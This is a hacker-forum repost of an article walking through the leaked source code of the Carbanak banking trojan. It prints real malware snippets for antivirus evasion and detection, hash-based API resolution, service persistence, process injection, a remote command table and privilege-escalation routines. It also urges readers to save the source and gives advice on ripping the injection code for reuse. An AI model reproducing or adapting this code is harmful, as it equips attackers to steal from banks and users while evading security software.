Hacker
Professional
- Messages
- 1,044
- Reaction score
- 811
- Points
- 113
Banking Trojans that steal money from the accounts of companies and ordinary users cause millions of dollars in damage every year. Naturally, virus makers try to keep everything related to the internal cuisine of bankers in the deepest secrecy. That is why we could not miss a unique event - getting the source code of the Carbanak banking trojan into the public - and began to investigate its structure from the inside. Today we will generously share the results of these studies with you.This article was written for educational purposes only. We do not call anyone to anything, only for information purposes! The author is not responsible for your actions
The hacker has already written about the leak of the source codes of the Carbanak banking malware into the public domain. I must say that this malware is still active and developing, despite the arrests, and the stolen amounts have long exceeded a billion dollars. Anyone who is curious can check out the source code for this creation on GitHub. I personally recommend that you save this code (for academic research, of course), otherwise anything can happen. So let's take a look inside Carbanak.

Carbanak project structure
The first thing that usually attracts me about professionally written malware is the ways in which this malware counteracts antivirus and hides its activity. Carbanak uses several anti-virus protection techniques. We will now consider them.
To begin with, I wondered how Carbanak communicates with WinAPI and how it calls the functions it needs. To see this mechanism, you need to look into the following files:
Code:
core\source\winapi.cpp
core\include\core\winapi.h
core\include\core\api_funcs_type.h
core\include\core\api_funcs_hash.h
The code for obtaining the structure of PEB processes is striking, configured for conditional compilation, depending on the architecture of the system:
Code:
PPEB GetPEB()
{
#ifdef _WIN64
return (PPEB)__readgsqword(0x60);
#else
PPEB PEB;
__asm
{
mov eax, FS:[0x30]
mov [PEB], eax
}
return PEB;
#endif
}
There is also a list of the required DLLs where WinAPI is stored (this is only a part of the libraries used by the Trojan):
Code:
const char* namesDll[] =
{
_CT_("kernel32.dll"), // KERNEL32 = 0
_CT_("user32.dll"), // USER32 = 1
_CT_("ntdll.dll"), // NTDLL = 2
_CT_("shlwapi.dll"), // SHLWAPI = 3
_CT_("iphlpapi.dll"), // IPHLPAPI = 4
_CT_("urlmon.dll"), // URLMON = 5
.....
Pay attention to macros _CT_ - they encrypt strings. You didn't think that this level of malware would store text strings in clear text, did you? In addition, in the initialization block of this module, we see the code that dynamically receives functions GetProcAddress and LoadLibraryA by their hash:
Code:
HMODULE kernel32;
if ( (kernel32 = GetDllBase(hashKernel32)) == NULL )
return false;
_GetProcAddress = (typeGetProcAddress)GetApiAddr( kernel32, hashGetProcAddress );
_LoadLibraryA = (typeLoadLibraryA)GetApiAddr( kernel32, hashLoadLibraryA );
if ( (_GetProcAddress == NULL) || (_LoadLibraryA == NULL) )
Next, the Trojan searches for and compares with the hash table of the desired functions. For example, here is a piece of code that Carbanak uses to determine if the required function has been found or not:
Code:
for (uint i = 0; i <exportDir-> NumberOfNames; i ++)
{
char * name = (char *) RVATOVA (module, * namesTable);
if (Str :: Hash (name) == hashFunc)
{
ordinal = * ordinalTable;
break;
}
// Next function
namesTable ++;
ordinalTable ++;
}
In fact, we have before us a classic engine for searching WinAPIs by their hash, which we have already discussed in a separate article.
Among other things, I was attracted by a piece of code, in the comments to which was written "anti-emulation protection against KAV". This code appears in several places in this project:
Code:
// Anti-emulation protection against KAV
char path2 [MAX_PATH]; // Character array
API (KERNEL32, GetTempPathA) (MAX_PATH, path2); // Get the path to the temporary files folder in it
API (KERNEL32, CreateFileA) (path2, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); // OPEN_EXISTING - open file
if (API (KERNEL32, GetLastError) () == 3) // ERROR_PATH_NOT_FOUND
The essence of this technique is that emulators of antivirus solutions cannot always correctly reproduce the behavior of the environment in which the application is running. In this case, the Trojan first calls a function GetTempPathAto get the path to the temp folder, and then tries to launch a non-existent file from it. If after these actions the OS returns an error ERROR_PATH_NOT_FOUND(a common error when executing an application on a real system), the malware concludes that the code execution is not emulated by antivirus tools, and control is passed on.
For those who like to rip code: it's not that simple here.
The point is that the code is filled with WinAPI calls associated with the Carbanak engine. In addition, this banker has its own memory management system, a module for working with PE files, and much more. All this is contained in your own namespaces, and if, for example, you want to borrow the injection code into processes, you will need to pull from the source the WinAPI engine, memory management, strings, vectors and a lot of other goodies.
I'm not saying that it is unrealistic to rip the code from here, you just have to sit and research it in order to more or less organically rip out the pieces of interest to you while maintaining their performance.
In addition, bot\source\AV.cpp another method of detecting various anti-virus solutions was found in a file with a self-explanatory name. The Trojan searches for processes in the standard way ( CreateToolhelp32Snapshot\Process32First\Process32Next), after which the found processes are checked against the hashes inside such a case using the function int AVDetect():
Code:
switch( hash )
{
case 0x0fc4e7c5: // sfctlcom.exe
case 0x0946e915: // protoolbarupdate.exe
case 0x06810b75: // tmproxy.exe
case 0x06da37a5: // tmpfw.exe
case 0x0ae475a5: // tmbmsrv.exe
case 0x0becd795: // ufseagnt.exe
case 0x0b97d795: // uiseagnt.exe
case 0x08cdf1a5: // ufnavi.exe
case 0x0b82e2c5: // uiwatchdog.exe
return AV_TrandMicro;
case 0x0d802425: // avgam.exe
case 0x0f579645: // avgcsrvx.exe
case 0x0e048135: // avgfws9.exe
case 0x0c34c035: // avgemc.exe
case 0x09adc005: // avgrsx.exe
case 0x0c579515: // avgchsvx.exe
case 0x08e48255: // avgtray.exe
case 0x0ebc2425: // avgui.exe
return AV_AVG;
case 0x08d34c85: // avp.exe
case 0x07bc2435: // avpui.exe
return AV_KAV;
The bot provides a configurator, the initial configuration of which is carried out by a special application - the builder. It fills in all the necessary fields for the initial initialization of the trojan, taking into account the specific wishes of the user. For example, in the builder, you can configure the addresses of admin panels, servers, various variables related to the work of the bot, interaction with plugins, and so on. The builder interface is shown in the following figure.

Builder Carbanak
The builder settings are defined in the file bot\source\config.cpp and look something like this (this is only part of the settings):
Code:
// Data filled by the builder
char PeriodConnect [MaxSizePeriodConnect] = PERIOD_CONTACT;
char Prefix [MaxSizePrefix] = PREFIX_NAME;
char Hosts [MaxSizeHostAdmin] = ADMIN_PANEL_HOSTS;
char HostsAZ [MaxSizeHostAdmin] = ADMIN_AZ;
char UserAZ [MaxSizeUserAZ] = USER_AZ;
char VideoServers [MaxSizeIpVideoServer] = VIDEO_SERVER_IP;
char FlagsVideoServer [MaxFlagsVideoServer] = FLAGS_VIDEO_SERVER;
char Password [MaxSizePasswordAdmin] = ADMIN_PASSWORD;
byte RandVector [MaxSizeRandVector] = MASK_RAND_VECTOR;
char MiscState [MaxSizeMiscState] = MISC_STATE;
char PublicKey [MaxSizePublicKey] = PUBLIC_KEY;
char DateWork [MaxSizeDateWork] = DATE_WORK;
char TableDecodeString [256]; // A table for converting characters in an encrypted string
...
Further, in the function bool Init(), the bot's behavior is configured in accordance with the settings passed by the builder. In code, it looks like this:
Code:
if (miscState [0] == '0') // Disabled installation to autoload
{
state | = NOT_INSTALL_SERVICE | NOT_INSTALL_AUTORUN;
DbgMsg ("Disabled installation at startup");
}
if (miscState [1] == '0') // Disabled starting the exploit
{
state | = SPLOYTY_OFF;
DbgMsg ("Disabled launch of the exploit");
}
if (miscState [2] == '1')
{
state | = CHECK_DUPLICATION;
DbgMsg ("Copy startup check enabled");
}
...
And this is how the behavior is configured depending on which antiviruses were detected in the attacked system:
Code:
AV = AVDetect();
DbgMsg( "AVDetect %d", AV );
exeDonor[0] = 0;
if( AV == AV_AVG )
{
Str::Copy( exeDonor, sizeof(exeDonor), _CS_("WindowsPowerShell\\v1.0\\powershell.exe") );
}
else if( AV == AV_TrandMicro )
{
StringBuilder path( exeDonor, sizeof(exeDonor) );
bool res = Path::GetCSIDLPath(CSIDL_PROGRAM_FILESX86, path );
if( !res )
res = Path::GetCSIDLPath(CSIDL_PROGRAM_FILESX86, path );
// DbgMsg( "%s", exeDonor );
if( res )
Path::AppendFile( path, _CS_("Internet Explorer\\iexplore.exe") );
else
Str::Copy( exeDonor, sizeof(exeDonor), _CS_("mstsc.exe") );
}
return true;
Now let's move to the bootstrap and installation module and see how everything works there. This module is engaged in launching and updating the bot, as well as ensuring persistence in the system. Responsible for installation as a service namespace Service::, more specifically - a function Service::Install. Installation occurs by a banal call of a system function OpenSCManagerA->CreateServiceA, this call is implemented in the file downloader\source\service.cpp:
Code:
bool Install (const StringBuilder & srcFile, bool copyFile)
{
DbgMsg ("Installing the bot as a service, source file '% s'", srcFile.c_str ());
StringBuilderStack <MAX_PATH> fileName;
if (! GetFileNameService (fileName))
return false;
DbgMsg ("Service file name '% s'", fileName.c_str ());
if (copyFile)
Copy (srcFile);
else
DbgMsg ("The service file has already been copied");
StringBuilderStack <256> nameService, displayName;
if (! CreateNameService (nameService, displayName))
return false;
DbgMsg ("Service name '% s', '% s'", nameService.c_str (), displayName.c_str ());
//
// In the Create function there are calls to OpenSCManagerA-> CreateServiceA:
//
bool ret = Create (fileName, nameService, displayName);
if (ret)
{
Str :: Copy (Config :: fileNameBot, sizeof (Config :: fileNameBot), fileName, fileName.Len ());
Str :: Copy (Config :: nameService, sizeof (Config :: nameService), nameService.c_str (), nameService.Len ());
}
return ret;
}
The general scheme for installing the service is shown in the following illustration.

Service installation diagram
It is also supposed to install the bot to the startup folder using the function bool SetAutorun().
Now let's move on to the method of launching the bot by the loader. The code can be run in several ways, depending on the initial settings of the builder. It will not be possible to give the entire code in the article in its entirety - there is too much of it, so I will describe the approximate scheme and names of the functions used by the malware. So, the Trojan launch scheme is shown in the following picture.

Bot file launch scheme
And here are the main calls to run the code (I added mine to the developer's comments):
Code:
// Launch the image by installing the thread into the asynchronous call queue
// Transfer of control occurs through APC, implemented by a chain of calls ZwQueueApcThread - ZwResumeThread
bool RunInjectCode (HANDLE hprocess, HANDLE hthread, typeFuncThread startFunc, typeInjectCode func);
// Launch the image by changing the thread start address
// Write to the process memory using WriteProcessMemory, change the context using ZwSetContextThread and start the thread using ZwResumeThread
bool RunInjectCode2 (HANDLE hprocess, HANDLE hthread, typeFuncThread startFunc, typeInjectCode func);
// Launch the image by starting the thread of the specified process
// Create a remote thread using CreateRemoteThread in a suspended state (the CREATE_SUSPENDED flag) with the transfer of the required callback function to it
bool RunInjectCode3 (HANDLE hprocess, HANDLE hthread, typeFuncThread startFunc, typeInjectCode func);
Interestingly, this kind of malware uses well-known methods of launching code, but we must pay tribute to the developer: at the same time, the bot is individually tuned in the config for the most effective work under the conditions of functioning antivirus software.
Naturally, all this beauty is controlled by external commands transmitted from the server, the interaction with which is implemented in the file botcmd\source\main.cpp:
Code:
CommandFunc commands [] =
{
// Commands sent to the bot
{"video", CmdSendBot},
{"download", CmdSendBot},
{"runmem", CmdSendBot},
{"ammyy", CmdSendBot},
{"update", CmdSendBot},
{"updklgcfg", CmdSendBot},
/ * {"ifobs", CmdSendBot}, * /
{"httpproxy", CmdSendBot},
{"killos", CmdSendBot},
{"reboot", CmdSendBot},
{"tunnel", CmdSendBot},
{"adminka", CmdSendBot},
{"server", CmdSendBot},
{"user", CmdSendBot},
{"rdp", CmdSendBot},
{"screenshot", CmdSendBot},
{"sleep", CmdSendBot},
{"logonpasswords", CmdSendBot},
{"vnc", CmdSendBot},
{"runmem", CmdSendBot},
{"dupl", CmdSendBot},
{"findfiles", CmdSendBot},
{"runfile", CmdSendBot},
{"killbot", CmdSendBot},
{"del", CmdSendBot},
{"secure", CmdSendBot},
{"plugins", CmdSendBot},
{"tinymet", CmdSendBot},
{"killprocess", CmdSendBot},
// Commands executed by the utility
{"info", CmdInfo},
{"getproxy", CmdGetProxy},
{"exit", CmdExit},
{"uac", CmdUAC},
{"elevation", CmdElevation},
{0, 0}
};
The names of the commands speak for themselves; they can be used to easily identify the capabilities of the Trojan. The function in which they are processed is named bool DispatchArgs(StringArray& args) and is located in the same file.
The Carbanak architecture has a module for elevating privileges, which has only one drawback: due to the fact that the source codes of not the latest version have been released to the public, the holes used by this module have already been fixed. But in any case, it will be interesting for you to familiarize yourself with these functions presented in the file core\include\core\elevation.h:
Code:
// Runs the file nameExe and gives it system rights
bool Sdrop (const char * nameExe);
bool NDProxy (DWORD pid = 0);
bool PathRec ();
// Bypass UAC for Win7
// After bypassing the shellcode, it exits the process, so if the DLL is started, then you need to exit it only after all the operations have been completed
bool UACBypass (const char * engineDll, const char * commandLine, int method = 0);
bool COM (const char * dllPath, const char * cmd);
// wait = true if you need to wait for the cmd to execute
bool BlackEnergy2 (const char * cmd, bool wait = false);
// Raises the rights to the system
bool EUDC ();
bool CVE2014_4113 ();
Carbanak has many more different features: for example, it has its own memory management implementation (wrapper over WinAPI), there are plugins for working with VNC and Outlook. Like some other bankers, the Trojan carries with it a utility for intercepting passwords of open sessions in Windows - Mimikatz. Carbanak provides for the possibility of traffic proxying, interaction with POS terminals and a lot of other things - it will take more than one week of thorough study of the code to describe all the possibilities and it will take more than one article. I hope that this post will serve as a starting point for your independent study of Carbanak and will allow you to expand your knowledge in the field of virology.